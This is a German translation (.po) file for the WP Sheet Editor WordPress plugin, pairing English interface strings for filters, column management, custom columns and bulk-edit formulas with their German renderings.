msgstr "Auswählen..." #: advanced-filters/advanced-filters.php:651 msgid "Enable advanced filters" msgstr "Erweiterte Filter aktivieren" #: advanced-filters/advanced-filters.php:654 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Erweiterte Suche" #: advanced-filters/advanced-filters.php:656 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Du kannst nach jedem Feld mit Hilfe von Operatoren suchen. D.h. price > 100, " "image != (empty)" #: advanced-filters/advanced-filters.php:661 msgid "Field" msgstr "Feld" #: advanced-filters/advanced-filters.php:693 msgid "A field is missing? Click here" msgstr "Es fehlt ein Feld? Klick hier" #: advanced-filters/advanced-filters.php:697 msgid "Operator" msgstr "Operator" #: advanced-filters/advanced-filters.php:703 woocommerce/inc/attributes.php:535 #: woocommerce/inc/attributes.php:536 woocommerce/inc/variations.php:416 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:882 msgid "Value" msgstr "Wert" #: advanced-filters/advanced-filters.php:708 #: advanced-filters/advanced-filters.php:720 #: wp-sheet-editor/dev/inc/api/bootstrap.php:224 msgid "Add new" msgstr "Neu hinzufügen" #: advanced-filters/advanced-filters.php:711 msgid "X" msgstr "X" # php source does not exist #: advanced-filters/advanced-filters.php:729 msgid "NOT Contains this keyword" msgstr "NOT Contains this keyword" #: advanced-filters/advanced-filters.php:729 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Gib ein Schlüsselwort ein, um Beiträge auszuschließen, trenne mehrere " "Schlüsselwörter mit einem Semikolon (;)" #: advanced-filters/advanced-filters.php:733 msgid "Find these IDs:" msgstr "Diese IDs finden:" #: advanced-filters/advanced-filters.php:733 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Gib IDs durch Kommata, Leerzeichen, neue Zeilen oder Tabulatoren getrennt " "ein. Du kannst ID-Bereiche wie 20-50 als Abkürzung verwenden." #: advanced-filters/advanced-filters.php:738 msgid "Find these URLs:" msgstr "Diese URLs finden:" #: advanced-filters/advanced-filters.php:738 msgid "Enter one URL per line" msgstr "Eine URL je Zeile eingeben" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Datumsbereich von" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Elemente anzeigen, die zwischen diesen Daten veröffentlicht wurden" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "bis" #: advanced-filters/advanced-filters.php:761 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "Einer dieser Werte (Gib mehrere durch ; getrennte Werte ein)" # php source does not exist #: advanced-filters/advanced-filters.php:762 msgid "CONTAINS" msgstr "CONTAINS" # php source does not exist #: advanced-filters/advanced-filters.php:763 msgid "NOT CONTAINS" msgstr "NOT CONTAINS" # php source does not exist #: advanced-filters/advanced-filters.php:764 msgid "STARTS WITH" msgstr "STARTS WITH" # php source does not exist #: advanced-filters/advanced-filters.php:765 msgid "ENDS WITH" msgstr "ENDS WITH" # php source does not exist #: advanced-filters/advanced-filters.php:766 msgid "CHARACTER LENGTH <" msgstr "CHARACTER LENGTH <" # php source does not exist #: advanced-filters/advanced-filters.php:767 msgid "CHARACTER LENGTH >" msgstr "CHARACTER LENGTH >" # php source does not exist #: advanced-filters/advanced-filters.php:768 msgid "REGEXP" msgstr "REGEXP" #: columns-manager/columns-manager.php:161 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Einige Spalten haben die Schaltfläche , um die " "Formatierung zu ändern" #: columns-manager/columns-manager.php:173 columns-visibility/views/form.php:8 msgid "Columns manager" msgstr "Spalten-Manager" #: columns-manager/columns-manager.php:285 msgid "Enter multiple post titles separated by commas" msgstr "Mehrere Beitragstitel eingeben, getrennt durch Kommata" #: columns-manager/columns-manager.php:573 #: wp-sheet-editor/dev/inc/api/bootstrap.php:177 #: wp-sheet-editor/dev/inc/options-init.php:384 #: wp-sheet-editor/dev/views/quick-setup.php:99 msgid "Settings" msgstr "Einstellungen" #: columns-manager/columns-manager.php:576 msgid "Column format" msgstr "Spaltenformat" #: columns-manager/columns-manager.php:578 msgid "Automatic" msgstr "Automatisch" #: columns-manager/columns-manager.php:579 msgid "Text" msgstr "Text" #: columns-manager/columns-manager.php:580 msgid "Text editor (tinymce)" msgstr "Texteditor (TinyMCE)" #: columns-manager/columns-manager.php:581 msgid "Dropdown with predefined options" msgstr "Dropdown-Menü mit vordefinierten Optionen" #: columns-manager/columns-manager.php:582 msgid "Checkbox" msgstr "Kontrollkästchen" #: columns-manager/columns-manager.php:583 msgid "File upload" msgstr "Datei-Upload" #: columns-manager/columns-manager.php:584 #: wp-sheet-editor/dev/inc/api/bootstrap.php:470 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Datum" #: columns-manager/columns-manager.php:585 msgid "User dropdown" msgstr "Benutzer-Dropdown" #: columns-manager/columns-manager.php:586 msgid "Post dropdown" msgstr "Beitrags-Dropdown" #: columns-manager/columns-manager.php:590 msgid "Allowed values" msgstr "Erlaubte Werte" #: columns-manager/columns-manager.php:591 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this:
                  red : Red" msgstr "" "Gib jede Auswahl in eine neue Zeile ein. Zur besseren Kontrolle kannst du " "sowohl einen Wert als auch eine Bezeichnung wie folgt angeben:
                  rot : Rot" #: columns-manager/columns-manager.php:595 msgid "What valued is saved when the checkbox is checked?" msgstr "" "Welcher Wert wird gespeichert, wenn du beim Kontrollkästchen einen Haken " "setzt?" #: columns-manager/columns-manager.php:597 msgid "What valued is saved when the checkbox is unchecked?" msgstr "" "Welcher Wert wird gespeichert, wenn du das Häkchen beim Kontrollkästchen " "entfernst?" #: columns-manager/columns-manager.php:601 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Du kannst den Benutzernamen in die Zelle eingeben, und die Zelle zeigt eine " "Dropdown-Liste mit Vorschlägen an." #: columns-manager/columns-manager.php:602 msgid "How is the user saved in the database?" msgstr "Wie wird der Benutzer in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:604 #: wp-sheet-editor/dev/inc/api/bootstrap.php:360 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:605 msgid "Username" msgstr "Benutzername" #: columns-manager/columns-manager.php:606 msgid "Email" msgstr "E-Mail" #: columns-manager/columns-manager.php:610 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Du kannst den Titel des Beitrags in die Zelle eingeben, und die Zelle zeigt " "eine Dropdown-Liste mit Vorschlägen an." #: columns-manager/columns-manager.php:611 msgid "How is the post saved in the database?" msgstr "Wie wird der Beitrag in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:613 msgid "Post ID" msgstr "Beitrags-ID" #: columns-manager/columns-manager.php:614 #: wp-sheet-editor/dev/inc/api/bootstrap.php:373 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Titel" #: columns-manager/columns-manager.php:615 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:618 msgid "Allow multiple posts per field?" msgstr "Mehrere Beiträge je Feld zulassen?" #: columns-manager/columns-manager.php:620 msgid "How do you want to save the multiple posts?" msgstr "Wie möchtest du diese Beiträge speichern?" #: columns-manager/columns-manager.php:622 #: columns-manager/columns-manager.php:649 msgid "Saved them separated by comma" msgstr "Durch Komma getrennt speichern" #: columns-manager/columns-manager.php:623 #: columns-manager/columns-manager.php:650 msgid "Save them as serialized array" msgstr "Als serialisiertes Array speichern" #: columns-manager/columns-manager.php:625 msgid "Accept post from this post type" msgstr "Beitrag von diesem Beitragstyp annehmen" #: columns-manager/columns-manager.php:626 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Wenn du zum Beispiel den Beitragstyp \"Produkt\" auswählst, akzeptieren wir " "nur Produkttitel." #: columns-manager/columns-manager.php:628 msgid "Same as the spreadsheet post type" msgstr "Identisch mit dem Beitragstyp im Arbeitsblatt" #: columns-manager/columns-manager.php:639 msgid "How is the file saved in the database?" msgstr "Wie wird die Datei in der Datenbank gespeichert?" #: columns-manager/columns-manager.php:640 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "In der Zelle werden die Werte als URLs angezeigt, und du kannst in den " "Zellen die vollständigen URLs, die Datei-ID oder den Dateinamen bearbeiten." "
                  Externe URLs werden automatisch in die Medienbibliothek importiert." "
                  Wir werden den Wert in dem hier gewählten Format speichern" #: columns-manager/columns-manager.php:642 msgid "File ID" msgstr "Datei ID" #: columns-manager/columns-manager.php:643 formulas/inc/ui.php:887 #: universal-sheet/views/import-modal.php:38 msgid "File URL" msgstr "Datei-URL" #: columns-manager/columns-manager.php:646 msgid "Allow multiple files per field?" msgstr "Mehrere Dateien je Feld zulassen?" #: columns-manager/columns-manager.php:647 msgid "How do you want to save the multiple files?" msgstr "Wie möchtest du diese Dateien speichern?" #: columns-manager/columns-manager.php:654 msgid "The cells will display the date in the format: YYYY-MM-DD" msgstr "In den Zellen wird das Datum in diesem Format angezeigt: YYYY-MM-DD" #: columns-manager/columns-manager.php:655 msgid "What date format do you want to save in the database?" msgstr "Welches Datumsformat möchtest du in der Datenbank speichern?" #: columns-manager/columns-manager.php:656 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Gib ein Datumsformat ein. Liste der Formate. " "Beispiel: Y-m-d" #: columns-manager/inc/column-groups.php:46 msgid "Spreadsheet views" msgstr "Arbeitsblattansichten" #: columns-manager/inc/column-groups.php:80 #: wp-sheet-editor/dev/wp-sheet-editor.php:924 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:81 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Bitte beachten: Dies ist keine Sicherheitsfunktion, der Benutzer kann alle " "Felder im normalen Editor auf der Grundlage der jeweiligen Rolle bearbeiten. " "Diese Option dient der Bequemlichkeit, so dass man beim Öffnen des " "Tabelleneditors nur die Spalten sieht, die man benötigt. Wenn du diese " "Felder leer lässt, kann man zwischen allen vorhandenen Ansichten wechseln" #: columns-manager/inc/column-groups.php:98 msgid "%s: Allowed spreadsheet views" msgstr "%s: Zugelassene Arbeitsblattansichten" #: columns-manager/inc/column-groups.php:101 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Bitte gib die Namen der Arbeitsblattansichten durch Kommata getrennt ein." #: columns-manager/inc/column-groups.php:328 msgid "Add a name for this group of columns" msgstr "Füge einen Namen für diese Gruppe von Spalten hinzu" #: columns-manager/inc/column-groups.php:328 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Wir werden diese Gruppe von Spalten als Arbeitsblattansicht speichern, und " "du kannst in der Werkzeugleiste zwischen den Arbeitsblättern wechseln" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:74 msgid "Rename column" msgstr "Spalte umbenennen" #: columns-renaming/columns-renaming.php:61 #: columns-visibility/columns-visibility.php:155 #: columns-visibility/columns-visibility.php:169 #: wp-sheet-editor/dev/inc/ajax.php:142 wp-sheet-editor/dev/inc/ajax.php:257 #: wp-sheet-editor/dev/inc/ajax.php:278 wp-sheet-editor/dev/inc/ajax.php:284 msgid "Missing parameters." msgstr "Fehlende Parameter." #: columns-renaming/columns-renaming.php:65 #: columns-visibility/columns-visibility.php:159 #: columns-visibility/columns-visibility.php:173 msgid "You dont have enough permissions to execute this action." msgstr "Du hast nicht genügend Berechtigungen, um diese Aktion auszuführen." #: columns-visibility/columns-visibility.php:163 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Spalten erfolgreich wiederhergestellt, bitte lade die Seite neu, um die " "wiederhergestellten Spalten zu sehen und sie zu aktivieren" #: columns-visibility/columns-visibility.php:354 msgid "Hide / Display / Sort columns" msgstr "Spalten ausblenden / anzeigen / sortieren" #: columns-visibility/views/form.php:11 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Zieh die Spalten auf die linke oder rechte Seite, um sie zu aktivieren/" "deaktivieren, zieh sie nach oben oder unten, um sie zu sortieren, klick auf " "die Schaltfläche \"Bearbeiten\", um sie umzubenennen, klick auf die " "Schaltfläche \"x\", um sie vollständig zu löschen (nur wenn sie vorher " "deaktiviert wurden)." #: columns-visibility/views/form.php:14 columns-visibility/views/form.php:69 msgid "Enable all" msgstr "Alles aktivieren" #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:26 msgid "Disable all" msgstr "Alles deaktivieren" #: columns-visibility/views/form.php:21 msgid "Enabled" msgstr "Aktiviert" #: columns-visibility/views/form.php:21 columns-visibility/views/form.php:63 msgid "Bulk" msgstr "Mehrere" #: columns-visibility/views/form.php:23 columns-visibility/views/form.php:66 msgid "Enter a search term..." msgstr "Suchbegriff eingeben..." #: columns-visibility/views/form.php:25 columns-visibility/views/form.php:68 #: universal-sheet/views/import-modal.php:84 msgid "Bulk actions" msgstr "Massenaktionen" #: columns-visibility/views/form.php:27 columns-visibility/views/form.php:71 msgid "Sort alphabetically ASC" msgstr "Alphabetisch sortieren ASC" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:72 msgid "Sort alphabetically DESC" msgstr "Alphabetisch sortieren DESC" #: columns-visibility/views/form.php:52 columns-visibility/views/form.php:92 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Spalte vollständig entfernen. Wenn du sie später verwenden möchtest, kannst " "du sie deaktivieren, indem du sie in die rechte Spalte ziehst und dort " "ablegst" #: columns-visibility/views/form.php:54 columns-visibility/views/form.php:94 msgid "Disable column. You can enable it later." msgstr "Spalte deaktivieren. Du kannst sie später aktivieren." #: columns-visibility/views/form.php:55 columns-visibility/views/form.php:95 msgid "Enable column" msgstr "Spalte aktivieren" #: columns-visibility/views/form.php:63 msgid "Disabled" msgstr "Deaktiviert" #: columns-visibility/views/form.php:70 msgid "Delete all" msgstr "Alles löschen" #: columns-visibility/views/form.php:88 msgid "Enabling this column requires a page reload" msgstr "Das Aktivieren dieser Spalte erfordert ein Neuladen der Seite" #: columns-visibility/views/form.php:107 msgid "A column is missing?" msgstr "Es fehlt eine Spalte?" #: columns-visibility/views/form.php:109 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Bearbeite zunächst ein Element im normalen Editor, und fülle alle Felder " "manuell aus." #: columns-visibility/views/form.php:118 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Wir können die Datenbank scannen, neue Felder finden und automatisch " "Spalten erstellen" #: columns-visibility/views/form.php:121 msgid "You can do this multiple times" msgstr "Du kannst dies mehrfach tun" #: columns-visibility/views/form.php:121 msgid "Scan Now" msgstr "Jetzt scannen" #: columns-visibility/views/form.php:126 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Wenn die vorherige Lösung fehlgeschlagen ist, kannst du manuell neue " "Spalten erstellen." #: columns-visibility/views/form.php:126 msgid "Create column" msgstr "Spalte erstellen" #: columns-visibility/views/form.php:128 msgid "- Maybe you deleted the columns from the list." msgstr "- Vielleicht hast du die Spalten aus der Liste gelöscht." #: columns-visibility/views/form.php:128 msgid "Restore deleted columns" msgstr "Gelöschte Spalten wiederherstellen" #: columns-visibility/views/form.php:129 msgid "- We can help you." msgstr "- Wir können dir helfen." #: columns-visibility/views/form.php:129 #: wp-sheet-editor/dev/wp-sheet-editor.php:830 msgid "Contact us" msgstr "Kontaktiere uns" #: columns-visibility/views/form.php:135 msgid "Save these settings for future sessions?" msgstr "Diese Einstellungen für zukünftige Sitzungen speichern?" #: columns-visibility/views/form.php:143 msgid "Apply settings" msgstr "Einstellungen anwenden" #: columns-visibility/views/form.php:144 filters/filters.php:418 #: formulas/inc/ui.php:175 #: universal-sheet/views/edit-google-sheets-modal.php:23 #: universal-sheet/views/import-modal.php:184 #: woocommerce/views/spreadsheet-create-variations-modal.php:105 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:186 #: wp-sheet-editor/dev/views/editor-page.php:230 #: wp-sheet-editor/dev/views/editor-page.php:254 #: wp-sheet-editor/dev/views/extensions-modal.php:9 #: wp-sheet-editor/dev/views/settings-form.php:62 #: wp-sheet-editor/dev/views/support-modal.php:23 msgid "Close" msgstr "Schließen" #: custom-columns/custom-columns.php:385 msgid "Add columns for custom fields" msgstr "Füge Spalten für benutzerdefinierte Felder hinzu" #: custom-columns/custom-columns.php:493 msgid "Missing columns" msgstr "Fehlende Spalten" #: custom-columns/custom-columns.php:542 custom-columns/custom-columns.php:565 #: custom-columns/custom-columns.php:591 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "Du darfst diese Aktion nicht durchführen. Bitte lade die Seite neu, oder " "logge dich erneut ein." #: custom-columns/custom-columns.php:545 msgid "Missing post type or column_key" msgstr "Fehlender Beitragstyp oder column_key" #: custom-columns/custom-columns.php:554 msgid "The meta field was deleted successfully" msgstr "Das Metafeld wurde erfolgreich gelöscht" #: custom-columns/custom-columns.php:557 msgid "The meta field could not be deleted." msgstr "Das Metafeld konnte nicht gelöscht werden." #: custom-columns/custom-columns.php:568 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Fehlender Beitragstyp, old_column_key oder new_column_key; oder der alte und " "der neue Schlüssel sind gleich." #: custom-columns/custom-columns.php:580 msgid "The meta key was renamed successfully" msgstr "Der Metaschlüssel wurde erfolgreich umbenannt" #: custom-columns/custom-columns.php:583 msgid "The meta key couldnt be renamed." msgstr "Der Metaschlüssel konnte nicht umbenannt werden." #: custom-columns/custom-columns.php:602 msgid "Columns could not be saved. Try again." msgstr "Die Spalten konnten nicht gespeichert werden. Versuch es noch einmal." #: custom-columns/custom-columns.php:605 msgid "Changes saved" msgstr "Änderungen gespeichert" #: custom-columns/custom-columns.php:616 msgid "Are you sure you want to delete this column?" msgstr "Bist du sicher, dass du diese Spalte löschen möchtest?" #: custom-columns/custom-columns.php:623 msgid "Custom columns" msgstr "Benutzerdefinierte Spalten" #: custom-columns/views/settings-page.php:10 #: spreadsheet-setup/views/page.php:10 #: wp-sheet-editor/dev/inc/api/bootstrap.php:143 #: wp-sheet-editor/dev/views/editor-page.php:44 #: wp-sheet-editor/dev/views/extensions-page.php:15 #: wp-sheet-editor/dev/views/quick-setup.php:26 #: wp-sheet-editor/dev/views/settings-page.php:4 #: wp-sheet-editor/dev/views/whats-new.php:10 #: wp-sheet-editor/dev/wp-sheet-editor.php:928 msgid "Sheet Editor" msgstr "Blatt-Editor" #: custom-columns/views/settings-page.php:13 msgid "Add New Columns to the Spreadsheet" msgstr "Neue Spalten zum Arbeitsblatt hinzufügen" #: custom-columns/views/settings-page.php:15 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Gib den Spaltennamen ein (alles, was du willst), und wähle den Feldschlüssel " "aus der Dropdown-Liste aus. Wenn du ihn nicht findest, kannst du ihn in der " "Dropdown-Liste eingeben. Tutorial anzeigen" #: custom-columns/views/settings-page.php:16 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Erweiterten Modus unten auf der Seite aktivieren, um die Spaltenbreite, das " "Format (Editor, Datei-Upload, Taxonomien) usw. anzupassen." #: custom-columns/views/settings-page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:108 msgid "Need help? Contact us" msgstr "Brauchst du Hilfe? Kontaktiere uns" #: custom-columns/views/settings-page.php:37 msgid "Column name" msgstr "Spaltenname" #: custom-columns/views/settings-page.php:37 msgid "The column name displayed in the spreadsheet" msgstr "Der im Arbeitsblatt angezeigte Spaltenname" #: custom-columns/views/settings-page.php:41 msgid "Column key" msgstr "Spaltenschlüssel" #: custom-columns/views/settings-page.php:41 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Der Schlüssel, der zum Speichern der Information in der Datenbank verwendet " "wird. Dieser muss eindeutig sein, nur Buchstaben und Unterstriche." #: custom-columns/views/settings-page.php:61 msgid "Data source" msgstr "Datenquelle" #: custom-columns/views/settings-page.php:61 msgid "Select the kind of information used in the cells of this column." msgstr "" "Wähle die Art von Informationen aus, die in den Zellen dieser Spalte " "verwendet wird." #: custom-columns/views/settings-page.php:63 msgid "Post data" msgstr "Beitragsdaten" #: custom-columns/views/settings-page.php:64 msgid "Post meta (i.e. metaboxes)" msgstr "Beitrags-Meta (d.h. Metaboxen)" #: custom-columns/views/settings-page.php:65 msgid "Post terms (i.e. categories)" msgstr "Beitrags-Begriffe (d.h. Kategorien)" #: custom-columns/views/settings-page.php:69 msgid "Post type(s)" msgstr "Beitragstyp(en)" #: custom-columns/views/settings-page.php:69 msgid "What kind of posts require this column in the spreadsheet?" msgstr "Welche Art von Beiträgen erfordert diese Spalte im Arbeitsblatt?" #: custom-columns/views/settings-page.php:90 msgid "Is read only?" msgstr "Schreibgeschützt?" #: custom-columns/views/settings-page.php:94 msgid "Allow to edit using formulas?" msgstr "Bearbeitung mit Hilfe von Formeln zulassen?" #: custom-columns/views/settings-page.php:94 msgid "If you disable this option, this column will be edited manually only." msgstr "" "Wenn du diese Option deaktivierst, wird diese Spalte nur manuell bearbeitet." #: custom-columns/views/settings-page.php:98 msgid "Allow to hide column?" msgstr "Ausblenden einer Spalte zulassen?" #: custom-columns/views/settings-page.php:98 msgid "Allow to hide this column on the settings page?" msgstr "Darf diese Spalte auf der Einstellungsseite ausgeblendet werden?" #: custom-columns/views/settings-page.php:102 msgid "Allow to rename column?" msgstr "Umbenennen von Spalten zulassen?" #: custom-columns/views/settings-page.php:102 msgid "Allow to rename column on the settings page?" msgstr "Umbenennung von Spalten auf der Einstellungsseite zulassen?" #: custom-columns/views/settings-page.php:106 msgid "Cell type" msgstr "Zellentyp" #: custom-columns/views/settings-page.php:106 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Wähle das Format der Zellen, ob die Zellen normaler Text, ein Datei-Uploader " "oder ein Texteditor sein sollen." #: custom-columns/views/settings-page.php:109 msgid "Normal cell" msgstr "Normale Zelle" #: custom-columns/views/settings-page.php:110 msgid "TinyMCE Editor" msgstr "TinyMCE Editor" #: custom-columns/views/settings-page.php:111 msgid "File upload (single)" msgstr "Datei-Upload (einzeln)" #: custom-columns/views/settings-page.php:112 msgid "File upload (multiple)" msgstr "Datei-Upload (mehrere)" #: custom-columns/views/settings-page.php:116 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Einfacher Textmodus: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)" #: custom-columns/views/settings-page.php:118 #: custom-columns/views/settings-page.php:127 msgid "Simple text" msgstr "Einfacher Text" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Calendar" msgstr "Kalender" #: custom-columns/views/settings-page.php:120 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "Taxonomie-Dropdown. Nur wenn Datenquelle = Beitragsbegriffe." #: custom-columns/views/settings-page.php:121 #: custom-columns/views/settings-page.php:130 msgid "Unfiltered HTML" msgstr "Ungefiltertes HTML" #: custom-columns/views/settings-page.php:125 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modus für formatierte Zellen: Rendern als: (Nur verwenden, wenn der Zelltyp " "leer ist)" #: custom-columns/views/settings-page.php:129 msgid "Taxonomy dropdown" msgstr "Taxonomie-Dropdown" #: custom-columns/views/settings-page.php:134 msgid "Column width (pixels)" msgstr "Spaltenbreite (Pixel)" #: custom-columns/views/settings-page.php:140 formulas/inc/ui.php:280 msgid "Delete" msgstr "Löschen" #: custom-columns/views/settings-page.php:147 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:85 msgid "Add new column" msgstr "Neue Spalte hinzufügen" #: custom-columns/views/settings-page.php:148 #: wp-sheet-editor/dev/inc/api/bootstrap.php:217 #: wp-sheet-editor/dev/views/post-types-form.php:29 #: wp-sheet-editor/dev/views/settings-form.php:61 msgid "Save" msgstr "Speichern" #: custom-columns/views/settings-page.php:151 msgid "Advanced mode" msgstr "Erweiterter Modus" #: factory.php:194 wp-sheet-editor/dev/wp-sheet-editor.php:1154 msgid "My license" msgstr "Meine Lizenz" #: filters/filters.php:177 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Um unter allen Beiträgen zu suchen, verwende das Suchwerkzeug. Verwende " "dieses, um einen Wert in den geladenen Zeilen des Arbeitsblatts zu finden " "und zu markieren. Markiere z.B. eine SKU oder eine E-Mail oder eine Anrede." #: filters/filters.php:178 msgid "Locate cell" msgstr "Zelle suchen" #: filters/filters.php:179 msgid "Locate cell." msgstr "Zelle suchen." #: filters/filters.php:183 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Gib ein Wort ein, und wir finden die erste passende Spalte. Du vermeidest " "es, durch Dutzende von Spalten zu blättern, um die Spalte zu finden, die du " "benötigst." #: filters/filters.php:184 filters/filters.php:185 msgid "Locate column" msgstr "Spalte suchen" #: filters/filters.php:196 filters/filters.php:204 filters/filters.php:366 msgid "Search" msgstr "Suche" #: filters/filters.php:204 msgid "Quick search" msgstr "Schnellsuche" #: filters/filters.php:204 msgid "Enter a keyword" msgstr "Schlüsselwort eingeben" #: filters/filters.php:342 msgid "Contains keyword" msgstr "Enthält Schlüsselwort" #: filters/filters.php:343 msgid "" "It searches in the post title and post content.
                  Search by multiple " "keywords separating keywords with a semicolon (;)" msgstr "" "Suche in Titel und Inhalt des Beitrags.
                  Suche nach mehreren " "Schlüsselwörtern; Schlüsselwörter durch ein Semikolon (;) trennen" #: filters/filters.php:350 wp-sheet-editor/dev/inc/api/bootstrap.php:528 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Status" #: filters/filters.php:354 wp-sheet-editor/dev/inc/api/bootstrap.php:496 msgid "Author" msgstr "Autor" #: filters/filters.php:417 msgid "Run search" msgstr "Suche ausführen" #: formulas/formulas.php:128 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "Fehler #898AJSI. Die Ersetzung erfordert 2 Parameter, wir haben einen " "erhalten" #: formulas/formulas.php:141 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "Fehler #8W89PQ. Die mathematische Formel ist leer." #: formulas/formulas.php:148 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "Fehler #PQ8SPQ. Die mathematische Formel enthält ein Komma: %s" #: formulas/formulas.php:154 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "Fehler #8W23CV. Wir akzeptieren nur mathematische und Ersetzungs-Formeln, " "wir haben einen unbekannten Formeltyp erhalten." #: formulas/formulas.php:274 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %s, ID: %d" msgstr "" "Die mathematische Formel kann nicht angewendet werden. Wir haben " "festgestellt, dass einige vorhandene Daten nicht numerisch sind. Daten " "gefunden: %s, ID: %d" #: formulas/formulas.php:282 msgid "Error. The math engine could not execute the math operation: %s, ID: %d" msgstr "" "Fehler. Die Mathematik-Engine konnte die mathematische Operation nicht " "ausführen: %s, ID: %d" #: formulas/formulas.php:405 msgid "Value in the replace section is not valid" msgstr "Wert im Ersetzungsabschnitt ist nicht gültig" #: formulas/formulas.php:781 msgid "Missing number and time unit." msgstr "Fehlende Zahl und Zeiteinheit." #: formulas/formulas.php:785 msgid "Invalid time unit." msgstr "Ungültige Zeiteinheit." #: formulas/formulas.php:790 msgid "The column selected is not valid." msgstr "Die ausgewählte Spalte ist nicht gültig." #: formulas/formulas.php:1069 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Massenbearbeitung nicht ausgeführt. Es wurden keine Elemente gefunden, die " "den Kriterien entsprechen." #: formulas/formulas.php:1078 universal-sheet/inc/csv-api.php:507 msgid "

                  Complete

                  ." msgstr "

                  Vollständig

                  ." #: formulas/formulas.php:1095 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Bearbeitung des " "Feldes: {column_label}. Zu bearbeitende Punkte: {total}, Fortschritt: " "{progress_percentage}%%, Wir haben {edited} Punkte aktualisiert.

